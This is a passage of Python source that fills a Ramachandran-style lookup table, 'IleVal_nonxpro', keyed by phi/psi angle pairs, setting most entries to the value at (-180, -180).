IleVal_nonxpro[(-60, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-50, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-40, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-30, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-20, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-10, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(0, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(10, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(20, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(30, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(40, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(50, 20)]=IleVal_nonxpro[(-180, -180)]
